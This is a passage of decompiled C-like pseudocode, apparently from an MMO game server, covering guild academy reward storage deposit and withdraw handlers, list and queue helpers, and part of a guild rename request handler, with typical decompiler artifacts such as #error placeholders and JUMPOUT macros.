*)&v2->sgarsrzr_ItemCmd.charid.n4_name[4] = *(_DWORD *)&v3->sCharID.n4_name[4]; *(_DWORD *)&v2->sgarsrzr_ItemCmd.charid.n4_name[8] = *(_DWORD *)&v3->sCharID.n4_name[8]; *(_DWORD *)&v2->sgarsrzr_ItemCmd.charid.n4_name[12] = *(_DWORD *)&v3->sCharID.n4_name[12]; v4 = v2->sgarsrzr_ItemInfo; v2->sgarsrzr_ItemCmd.type = 0; v2->sgarsrzr_ItemCmd.item = v4[1].Start.handle; v2->sgarsrzr_ItemCmd.slot = 0; LODWORD(v2->sgarsrzr_ItemCmd.___u5.lot) = 0; HIDWORD(v2->sgarsrzr_ItemCmd.___u5.lot) = 0; LODWORD(v2->sgarsrzr_ItemCmd.storage_cen) = 0; HIDWORD(v2->sgarsrzr_ItemCmd.storage_cen) = 0; } // 64214C: using guessed type int (__stdcall *ShineGuildAcademyRewardStorageRewardInfoZonRng___vftable_)(unsigned int guild, __int16 GuildInven); //----- (00460690) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendRewardInfoZoneRng2Member(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *ring) { FunctionEntarance _; // [sp+4h] [bp-68h]@1 ShineGuildAcademyRewardStorageRewardInfoZonRng sgsd; // [sp+8h] [bp-64h]@2 unsigned int v4; // [sp+5Ch] [bp-10h]@1 int v5; // [sp+68h] [bp-4h]@1 v4 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendDeposit2Member"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendDeposit2Member"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendDeposit2Member"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = 0; if ( ring ) { ShineGuildAcademyRewardStorageRewardInfoZonRng::ShineGuildAcademyRewardStorageRewardInfoZonRng(&sgsd, ring); LOBYTE(v5) = 1; List::l_4AllInList( (List *)shineobjmanager.som_ListContainer[2], (ListIteratorDefault *)&sgsd); sgsd.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; } --funcallanalizer.fca_stackpoint; v5 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendDeposit2Member"); __security_check_cookie((unsigned int)&_ ^ v4); } // 64292C: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (00460770) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 632E04: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (004607C0) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (004608E0) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_WithdrawAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG *ring) { GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *v2; // esi@1 PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG *v3; // edi@1 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v4; // eax@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_WithdrawAtOther"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_WithdrawAtOther"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = ring; v4 = GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_FindStorage( v2, ring->gldregnum, (unsigned __int16 *)&ring); if ( v4 ) GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_WithdrawAtOther(v4, v3); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_WithdrawAtOther"); } //----- (00460990) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_DepositAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG *ring) { GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *v2; // esi@1 PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG *v3; // edi@1 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v4; // eax@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_DepositAtOther"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_DepositAtOther"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = ring; v4 = GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_FindStorage( v2, ring->gldregnum, (unsigned __int16 *)&ring); if ( v4 ) GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_DepositAtOther(v4, v3); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_DepositAtOther"); } //----- (00460A40) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_ItemInfoZoneRngAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG *ring) { GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *v2; // edi@1 PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG *v3; // esi@1 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v4; // eax@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_DepositAtOther"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_DepositAtOther"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = ring; if ( ring ) { v4 = GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_FindStorage( v2, ring->nGldregnum, (unsigned __int16 *)&ring); if ( v4 ) GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_ItemInfoZoneRngAtOther(v4, v3); } else { AssertClass::ac_AssertFail( &shineassert, "GuildAcademyRewardStorageManager::garsm_ItemInfoZoneRngAtOther - ring null", (int)ring); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_DepositAtOther"); } //----- (00460B10) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_RewardInfoZoneRngAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *ring) { GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *v2; // edi@1 PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *v3; // esi@1 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v4; // eax@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_DepositAtOther"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_DepositAtOther"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = ring; if ( ring ) { v4 = GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_FindStorage( v2, ring->nGuildNo, (unsigned __int16 *)&ring); if ( v4 ) GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_RewardInfoZoneRngAtOther(v4, v3); } else { AssertClass::ac_AssertFail(&shineassert, "::garsm_RewardInfoZoneRngAtOther - ring null", (int)ring); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_DepositAtOther"); } //----- (00460BE0) -------------------------------------------------------- #error "460BE0: undefined or illegal type '#593' (funcsize=152)" //----- (00460DE0) -------------------------------------------------------- #error "460DE0: undefined or illegal type '#593' (funcsize=152)" //----- (00460FE0) -------------------------------------------------------- #error "460FE0: undefined or illegal type '#593' (funcsize=340)" //----- (004614A0) -------------------------------------------------------- #error "4614A0: undefined or illegal type '#593' (funcsize=208)" //----- (00461750) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::operator_(v3, (int)ele); return 1; } // 461765: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00461780) -------------------------------------------------------- int __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::operator_(int this, int a2) { int result; // eax@1 int v3; // edx@1 signed int v4; // ebp@1 const void *v5; // esi@2 void *v6; // edi@2 result = this; v3 = this + 4; v4 = 72; do { v5 = (const void *)(a2 - this + v3); v6 = (void *)v3; v3 += 116; --v4; memcpy(v6, v5, 0x74u); } while ( v4 ); *(_DWORD *)(this + 8360) = *(_DWORD *)(a2 + 8360); *(_DWORD *)(this + 8364) = *(_DWORD *)(a2 + 8364); *(_DWORD *)(this + 8368) = *(_DWORD *)(a2 + 8368); *(_BYTE *)(this + 8372) = *(_BYTE *)(a2 + 8372); return result; } //----- (004617F0) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::operator_(v3, (int)ele); return 1; } // 461806: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00461820) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Next; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (00461870) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Prev; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (004618C0) -------------------------------------------------------- #error "4618C0: undefined or illegal type 'ListArray' (funcsize=105)" //----- (00461A20) -------------------------------------------------------- void __thiscall ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG(ZoneListenSession *this, NETCOMMAND *netcmd) { unsigned __int8 v2; // al@1 const void *v3; // esi@1 int v4; // ecx@4 FunctionEntarance _; // [sp+4h] [bp-48h]@1 PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG tempring; // [sp+8h] [bp-44h]@4 unsigned int v7; // [sp+3Ch] [bp-10h]@1 int v8; // [sp+48h] [bp-4h]@1 v7 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = LOBYTE(netcmd[1].protocol); v3 = &netcmd[1]; v8 = 0; if ( v2 < 0xAu && *(_BYTE *)v3 != ZoneServer::zs_worlddata(&zoneserver)->nZoneNo ) { v4 = (int)(gpp.pp_Buffer + 2); *(_WORD *)gpp.pp_Buffer = -26510; PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG::operator_(v4, (int)v3); ZoneConnectSession::zcs_Send(&zoneconnect, &gpp, 51); memcpy(&tempring, v3, 0x30u); BYTE7(tempring.storage_cen) = LOBYTE(netcmd[25].protocol); GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_WithdrawAtOther( &gldacademyrewardstoramanager, &tempring); GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendWithdraw2Member( &gldacademyrewardstoramanager, &tempring); --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG"); } else { --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG"); } __security_check_cookie((unsigned int)&_ ^ v7); } //----- (00461B60) -------------------------------------------------------- void __thiscall ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG(ZoneListenSession *this, NETCOMMAND *netcmd) { unsigned __int8 v2; // al@1 const void *v3; // esi@1 int v4; // ecx@4 FunctionEntarance _; // [sp+4h] [bp-48h]@1 PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG tempring; // [sp+8h] [bp-44h]@4 unsigned int v7; // [sp+3Ch] [bp-10h]@1 int v8; // [sp+48h] [bp-4h]@1 v7 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = LOBYTE(netcmd[1].protocol); v3 = &netcmd[1]; v8 = 0; if ( v2 < 0xAu && *(_BYTE *)v3 != ZoneServer::zs_worlddata(&zoneserver)->nZoneNo ) { v4 = (int)(gpp.pp_Buffer + 2); *(_WORD *)gpp.pp_Buffer = -26508; PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG::operator_(v4, (int)v3); ZoneConnectSession::zcs_Send(&zoneconnect, &gpp, 51); memcpy(&tempring, v3, 0x30u); BYTE7(tempring.storage_cen) = LOBYTE(netcmd[25].protocol); GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_DepositAtOther( &gldacademyrewardstoramanager, &tempring); GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendDeposit2Member( &gldacademyrewardstoramanager, &tempring); --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG"); } else { --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG"); } __security_check_cookie((unsigned int)&_ ^ v7); } //----- (00461CA0) -------------------------------------------------------- void __thiscall ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG(ZoneListenSession *this, NETCOMMAND *netcmd) { int v2; // esi@1 int v3; // ecx@3 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (int)&netcmd[1]; if ( LOBYTE(netcmd[1].protocol) < 0xAu && *(_BYTE *)v2 != ZoneServer::zs_worlddata(&zoneserver)->nZoneNo ) { v3 = (int)(gpp.pp_Buffer + 2); *(_WORD *)gpp.pp_Buffer = -26492; PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG::operator_(v3, v2); ZoneConnectSession::zcs_Send(&zoneconnect, &gpp, 174); GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_ItemInfoZoneRngAtOther( &gldacademyrewardstoramanager, (PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG *)v2); GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendItemInfoZoneRng2Member( &gldacademyrewardstoramanager, (PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG *)v2); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG"); } //----- (00461D90) -------------------------------------------------------- void __thiscall ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG(ZoneListenSession *this, NETCOMMAND *netcmd) { PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *v2; // esi@1 signed int v3; // edi@1 char *v4; // eax@4 int v5; // eax@4 int v6; // edx@5 int v7; // ecx@5 int v8; // edx@7 char *v9; // [sp-4h] [bp-24h]@3 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *)&netcmd[1]; v3 = 0; if ( LOBYTE(netcmd[1].protocol) < 0xAu && v2->Start.machine != ZoneServer::zs_worlddata(&zoneserver)->nZoneNo ) { v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -26491; v5 = (int)(v4 + 2); *(_DWORD *)v5 = *(_DWORD *)&v2->Start.machine; *(_WORD *)(v5 + 4) = netcmd[3].protocol; *(_BYTE *)(v5 + 6) = LOBYTE(netcmd[4].protocol); *(_DWORD *)(v5 + 7) = *(_DWORD *)((char *)&netcmd[4].protocol + 1); *(_DWORD *)(v5 + 11) = *(_DWORD *)((char *)&netcmd[6].protocol + 1); *(_DWORD *)(v5 + 15) = *(_DWORD *)((char *)&netcmd[8].protocol + 1); *(_DWORD *)(v5 + 19) = *(_DWORD *)((char *)&netcmd[10].protocol + 1); *(_DWORD *)(v5 + 23) = *(_DWORD *)((char *)&netcmd[12].protocol + 1); *(_DWORD *)(v5 + 27) = *(_DWORD *)((char *)&netcmd[14].protocol + 1); *(_DWORD *)(v5 + 31) = *(_DWORD *)((char *)&netcmd[16].protocol + 1); *(_DWORD *)(v5 + 35) = *(_DWORD *)((char *)&netcmd[18].protocol + 1); *(_DWORD *)(v5 + 39) = *(_DWORD *)((char *)&netcmd[20].protocol + 1); *(_BYTE *)(v5 + 43) = HIBYTE(netcmd[22].protocol); if ( HIBYTE(netcmd[22].protocol) ) { v6 = (int)((char *)v2 - v5); v7 = v5 + 44; while ( 1 ) { v8 = v7 + v6; *(_DWORD *)v7 = *(_DWORD *)v8; *(_DWORD *)(v7 + 4) = *(_DWORD *)(v8 + 4); *(_BYTE *)(v7 + 8) = *(_BYTE *)(v8 + 8); ++v3; v7 += 9; if ( v3 >= SHIBYTE(netcmd[22].protocol) ) break; v6 = (int)((char *)v2 - v5); } } ZoneConnectSession::zcs_Send(&zoneconnect, &gpp, 9 * *(_BYTE *)(v5 + 43) + 46); GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_RewardInfoZoneRngAtOther( &gldacademyrewardstoramanager, v2); GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendRewardInfoZoneRng2Member( &gldacademyrewardstoramanager, v2); v9 = "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG"; } else { v9 = "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v9); } //----- (00461F10) -------------------------------------------------------- void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this) { this->mq_Pointer.mask = 127; this->mq_Pointer.value = 0; } //----- (00461F30) -------------------------------------------------------- unsigned __int16 __thiscall MemoryQueue::mq_Store(MemoryQueue *this, unsigned __int16 hnd, MemoryQueueGuildReType *content) { unsigned int v3; // eax@1 v3 = this->mq_Pointer.mask & (this->mq_Pointer.value + 1); this->mq_Pointer.value = v3; this->mq_Buffer[v3].handle = hnd; this->mq_Buffer[this->mq_Pointer.value].content.nType = content->nType; return LOWORD(this->mq_Pointer.value); } //----- (00461F70) -------------------------------------------------------- void __thiscall MemoryQueueElement::MemoryQueueElement(MemoryQueueElement *this) { PROTO_NC_CHAR_WEDDINGDATA_ACK::__unnamed::__unnamed(&this->content); } //----- (00461F80) -------------------------------------------------------- void __userpurge ShineObjectClass::ShinePlayer::sp_NC_GUILD_RENAME_REQ(int a1, int a2, int netcmd, int len, int handle) { int v5; // esi@1 int v6; // eax@5 const char *v7; // ST08_4@8 signed int v8; // eax@8 ItemInventoryCell *v9; // edi@14 SpecialItemIdent *v10; // ebp@14 unsigned int v11; // eax@18 unsigned __int16 v12; // ax@20 ItemDataBox::ItemDataBoxIndex *v13; // eax@20 int v14; // eax@22 char *v15; // edi@26 char v16; // al@26 ZoneBaseSession *v17; // eax@27 signed int v18; // [sp-4h] [bp-24h]@15 signed int v19; // [sp+0h] [bp-20h]@4 FunctionEntarance _; // [sp+10h] [bp-10h]@1 int v21; // [sp+1Ch] [bp-4h]@1 v5 = a1; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RENAME_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RENAME_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RENAME_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v21 = 0; if ( !(_S11_15 & 1) ) { _S11_15 |= 1u; cmc_48.cmc_AllowMode = 86; atexit(_E12_15); } if ( !((1 << **(_BYTE **)(v5 + 3568)) & cmc_48.cmc_AllowMode) ) { v19 = 6721; LABEL_30: (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 29, 173, v19); goto LABEL_31; } v6 = *(_DWORD *)(v5 + 98); if ( !v6 || !*(_BYTE *)(*(_DWORD *)(v6 + 12) + 151) ) { v19 = 6722; goto LABEL_30; } if ( !(*(_BYTE *)(v5 + 69760) & 0xC) ) { v7 = (const char *)*(_BYTE *)(netcmd + 2); v8 = (*(int (__thiscall **)(int, _DWORD))(*(_DWORD *)(v5 + 35680) + 8))( v5 + 35680, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RENAME_REQ : wrong slot"); if ( AssertClass::operator__(&shineassert, *(_BYTE *)(netcmd + 2) < v8, v7, a2) ) { (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 29, 173); LABEL_10: v21 = -1; LABEL_11: FunctionEntarance::_FunctionEntarance(&_); return; } if ( (unsigned __int8)(*(int (__thiscall **)(int, signed int, _DWORD, _DWORD))(*(_DWORD *)(v5 + 57880) + 8))( v5 + 57880, 9, *(_BYTE *)(netcmd + 2), *(_WORD *)(v5 + 143158)) ) { (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 29, 173); goto LABEL_10; } v9 = (ItemInventoryCell *)(**(int (__thiscall ***)(_DWORD))(v5 + 35680))(v5 + 35680); v10 = ItemDataBox::idb_SpecialItems(&itemdatabox); if ( v10->sii_GuildReName == ItemInventoryCell::iic_ItemIdent((ItemInform_ActionItem *)v9) ) { v11 = ItemInventoryCell::iic_ItemLot(v9); if ( !AssertClass::operator__( &shineassert, (signed int)v11 > 0, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RENAME_REQ : Try to use lot 0 item", 0) ) { v12 = ItemInventoryCell::iic_ItemIdent((ItemInform_ActionItem *)v9); v13 = ItemDataBox::operator__(&itemdatabox, v12); v14 = v13 && v13->data; if ( AssertClass::operator__( &shineassert, v14, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RENAME_REQ : Try to equip empty cell", 0) ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 29, 173, 6725); v21 = -1; goto LABEL_11; } v15 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29871; *((_WORD *)v15 + 1) = *(_WORD *)(v5 + 4); *((_DWORD *)v15 + 1) = (*(int (__thiscall **)(int))(*(_DWORD 